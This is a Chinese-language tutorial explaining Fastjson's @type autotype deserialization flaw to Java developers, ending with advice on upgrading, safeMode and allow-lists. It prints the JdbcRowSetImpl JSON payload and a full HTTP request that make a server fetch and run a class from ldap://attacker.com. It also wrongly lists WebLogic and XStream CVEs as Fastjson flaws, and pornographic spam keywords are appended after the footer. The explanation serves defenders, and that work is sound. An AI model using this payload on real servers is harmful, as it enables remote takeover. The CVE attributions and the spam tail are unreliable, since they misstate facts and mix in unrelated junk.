LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發文檔 其他文檔  
 
網站管理員

給開發工程師講的 Fastjson 漏洞原理

admin
2025年7月22日 16:59 本文熱度 460

前幾天一位安服朋友提到很多開發團隊對 Fastjson 漏洞的理解還停留在 "知道有風險但不清楚為什么" 的層面。尤其是 Java 開發團隊,因為 Fastjson 在國內項目中使用非常廣泛,一旦出問題影響極大。今天就專門給開發工程師們講講 Fastjson 漏洞的來龍去脈。

先說說 Fastjson 是什么

Fastjson 是阿里巴巴開發的一款 Java JSON 解析庫,常見于 Java Web 應用或移動服務端,很多項目都在 Maven 或 Gradle 中直接引用它?!?/span>

它的核心功能就是:

  • 將 Java 對象轉換成 JSON 字符串(序列化)
  • 將 JSON 字符串轉換成 Java 對象(反序列化)


Fastjson 漏洞的核心問題:反序列化風險

Fastjson 的主要漏洞集中在反序列化過程中,具體涉及 CVE-2017-18349、CVE-2020-2883、CVE-2021-21351 等多個漏洞編號,本質都是惡意構造的 JSON 字符串被解析時,觸發了危險類的方法執行。

先理解什么是反序列化

正常情況下,反序列化是個很有用的功能:

  1. 客戶端發送 JSON 字符串:{"name":"張三","age":20}
  2. 服務器用 Fastjson 把它轉成 Java 對象:User{name='張三', age=20}

但問題在于,Fastjson 為了方便用戶使用,支持一種特殊語法:通過@type字段指定要反序列化的類。

比如:{"@type":"com.example.User","name":"張三","age":20}

這會明確告訴 Fastjson:" 請把我轉成com.example.User類的對象 "。

漏洞原理:惡意類的利用

攻擊者發現,如果在@type里指定系統中已存在的危險類,并構造特定參數,就能觸發這些類的危險方法。

以最經典的利用為例:

  1. 攻擊者構造惡意 JSON:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}

2. Fastjson 解析時會:

    • 識別@type指定的JdbcRowSetImpl
    • 調用該類的setDataSourceName方法,傳入惡意 LDAP 地址
    • 調用setAutoCommit方法時,會觸發JdbcRowSetImpl內部的 JNDI lookup 操作
    • 服務器會向attacker.com發起 LDAP 請求,下載惡意類
    • 最終執行惡意代碼

漏洞的關鍵原因

  1. @type字段的危險類沒有限制
    :早期版本允許反序列化任意類
  2. 自動調用 setter 方法的機制
    :Fastjson 在反序列化時會自動調用對應屬性的 setter 方法,可能觸發危險操作
  3. 與 JNDI 的結合

    :當被反序列化的類(如JdbcRowSetImpl)包含 JNDI lookup 功能時,就會形成遠程代碼執行鏈

哪些情況有風險?

  1. 使用 Fastjson 解析不可信來源的 JSON 數據(如用戶輸入、網絡請求)
  2. Fastjson 版本低于安全版本(不同漏洞對應的安全版本不同,如1.2.83修復了多個高危漏洞)
  3. 項目中存在可被利用的 "gadget 類"(即包含危險方法的類,如JdbcRowSetImplTemplatesImpl等)

簡單的圖示:

惡意JSON --> Fastjson解析 --> 識別@type --> 調用危險類 --> 加載遠程類 --> 代碼執行

舉個實際攻擊場景

  1. 構造惡意請求
    攻擊者在 HTTP 請求體中放入惡意 JSON

POST/api/user?HTTP/1.1Host:vulnerable.comContent-Type:application/json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/poc","autoCommit":true}

2. 服務器處理流程

    • 后端接口接收 JSON 數據
    • 調用JSON.parseObject(requestBody)進行解析
    • Fastjson 觸發反序列化流程,執行惡意代

3. 攻擊結果:服務器從攻擊者的 LDAP 服務器加載惡意類,執行后攻擊者獲得服務器控制權

給開發者的終極建議:

  1. 強制升級:Fastjson ≥?1.2.83(修復了多數高危漏洞)。

  2. 開啟安全模式

ParserConfig.getGlobalInstance().setSafeMode(true);?// 徹底禁用 Autotype

3.白名單控制(若必須用?@type):

ParserConfig.getGlobalInstance().addAccept("com.trusted.package.");

4.永不解析不可信 JSON

用戶輸入需嚴格校驗 + 過濾?@type?字段。

關鍵認知:Fastjson 漏洞本質是?Java 反序列化通病的體現(如 Apache Commons Collections、Jackson 也曾有類似問題)。安全取決于配置,而非庫本身。

?開發者需建立深度防御思維。


記住:任何解析外部數據的功能都可能成為攻擊入口,必須保持警惕。


該文章在 2025/7/23 11:53:58 編輯過
關鍵字查詢
相關文章
正在查詢...
點晴ERP是一款針對中小制造業的專業生產管理軟件系統,系統成熟度和易用性得到了國內大量中小企業的青睞。
點晴PMS碼頭管理系統主要針對港口碼頭集裝箱與散貨日常運作、調度、堆場、車隊、財務費用、相關報表等業務管理,結合碼頭的業務特點,圍繞調度、堆場作業而開發的。集技術的先進性、管理的有效性于一體,是物流碼頭及其他港口類企業的高效ERP管理信息系統。
點晴WMS倉儲管理系統提供了貨物產品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質期管理,貨位管理,庫位管理,生產管理,WMS管理系統,標簽打印,條形碼,二維碼管理,批號管理軟件。
點晴免費OA是一款軟件和通用服務都免費,不限功能、不限時間、不限用戶的免費OA協同辦公管理系統。
Copyright 2010-2025 ClickSun All Rights Reserved

黄频国产免费高清视频,久久不卡精品中文字幕一区,激情五月天AV电影在线观看,欧美国产韩国日本一区二区
午夜福利视频入口 | 中文字字幕精品码 | 亚洲中文少妇专区 | 午夜免费看日本女人打野战 | 亚洲人成禁漫在线观看 | 一本大道中文日本香蕉 |